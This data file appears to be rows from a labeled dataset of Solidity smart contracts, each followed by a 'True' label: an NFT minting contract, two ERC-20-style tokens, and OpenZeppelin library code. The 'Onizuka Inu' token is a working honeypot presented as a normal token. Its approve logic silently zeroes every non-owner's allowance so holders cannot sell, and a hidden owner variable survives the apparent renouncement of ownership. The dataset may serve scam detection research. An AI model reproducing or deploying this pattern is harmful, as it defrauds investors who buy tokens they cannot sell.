uint256 public tokenMinted = 0;
bool public pauseMint = true;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdentifiers;
uint256 public constant MAX_NFT_SUPPLY = 9969;
uint256 public step = 1;
constructor() ERC721("testsuperBLOXnft", "SBNP") {
}
function setEndSale(bool _endSale) public onlyOwner {
endSale = _endSale;
}
function setWhitelist(address _add) public onlyOwner {
require(_add != address(0), "Zero Address");
whitelist[_add] = true;
}
function setWhitelistAll(address[] memory _adds) public onlyOwner {
for(uint256 i = 0; i < _adds.length; i++) {
address tmp = address(_adds[i]);
whitelist[tmp] = true;
}
}
function setPublicSale(bool _publicSale) public onlyOwner {
publicSale = _publicSale;
}
function setStep(uint _step) public onlyOwner {
step = _step;
if (_step == 1){
_priceextended = 26900000000000000;
}
else if(_step == 2){
_priceextended = 69000000000000000;
}
else if (_step == 3){
publicSale = true;
_priceextended = 89000000000000000;
}
}
function getNFTBalance(address _owner) public view returns (uint256) {
return ERC721.balanceOf(_owner);
}
function getNFTPrice() public view returns (uint256) {
require(tokenMinted < MAX_NFT_SUPPLY, "Sale has already ended");
return _priceextended;
}
function claimNFTForOwner(uint256 _cnt) public onlyOwner {
require(_cnt > 0);
require(!pauseMint, "Paused!");
require(tokenMinted < MAX_NFT_SUPPLY, "Sale has already ended");
for(uint256 i = 0; i < _cnt; i++) {
_tokenIdentifiers.increment();
_safeMint(msg.sender, _tokenIdentifiers.current());
tokenMinted += 1;
}
}
function mintNFT(uint256 _cnt) public payable {
require(_cnt > 0);
require(!pauseMint, "Paused!");
require(tokenMinted < MAX_NFT_SUPPLY, "Sale has already ended");
if (step == 1){
uint256 amount = ERC721(0xE169c2ED585e62B1d32615BF2591093A629549b6).balanceOf(msg.sender);
require(balanceOf(msg.sender).add(_cnt) <= amount , "Exceded the Minting Count per Wallet");
}
else if (step == 2){
require(balanceOf(msg.sender).add(_cnt) <= step , "Exceded the Minting Count per Wallet");
}
require(getNFTPrice().mul(_cnt) == msg.value, "ETH value sent is not correct");
if(!publicSale) {
require(whitelist[msg.sender], "Not ");
require(_cnt <= 10, "Exceded the Minting Count");
}
if(publicSale) {
require(_cnt <= 10, "Exceded the Minting Count");
}
for(uint256 i = 0; i < _cnt; i++) {
_tokenIdentifiers.increment();
_safeMint(msg.sender, _tokenIdentifiers.current());
tokenMinted += 1;
}
}
function withdraw() public onlyOwner() {
require(endSale, "Ongoing Minting");
uint balance = address(this).balance;
address payable ownerAddress = payable(msg.sender);
ownerAddress.transfer(balance);
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if(!reveal) return unrevealURI;
return bytes(_baseURIextended).length > 0 ? string(abi.encodePacked(_baseURIextended, tokenId.toString(), ".json")) : "";
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIextended;
}
function setBaseURI(string memory baseURI_) external onlyOwner() {
_baseURIextended = baseURI_;
}
function setUnrevealURI(string memory _uri) external onlyOwner() {
unrevealURI = _uri;
}
function Reveal() public onlyOwner() {
reveal = true;
}
function UnReveal() public onlyOwner() {
reveal = false;
}
function _price() public view returns (uint256) {
return _priceextended;
}
function setPrice(uint256 _priceextended_) external onlyOwner() {
_priceextended = _priceextended_;
}
function pause() public onlyOwner {
pauseMint = true;
}
function unPause() public onlyOwner {
pauseMint = false;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-15
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DogeTreats is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Doge Treats | https://t.me/dogetreatsoriginal';
string private _symbol = '🍖TREATS🦴';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-16
*/
/**
Tokenomics
Total supply: TBA
Initial Burned: 60%
📌Tax
2% - Reward for students
3% - Added to LP Pool
5% - Marketing & development budget
📌Social Links
Website: https://onizukainu.io/
Twitter: https://twitter.com/onizuka_inu
Telegram: https://t.me/onizuka_inu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract OnizukaInuToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9 * 10**18;
string private _name = ' Onizuka Inu ';
string private _symbol = 'ONIZUKA ';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-18
*/
// File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/EnumerableSet.sol
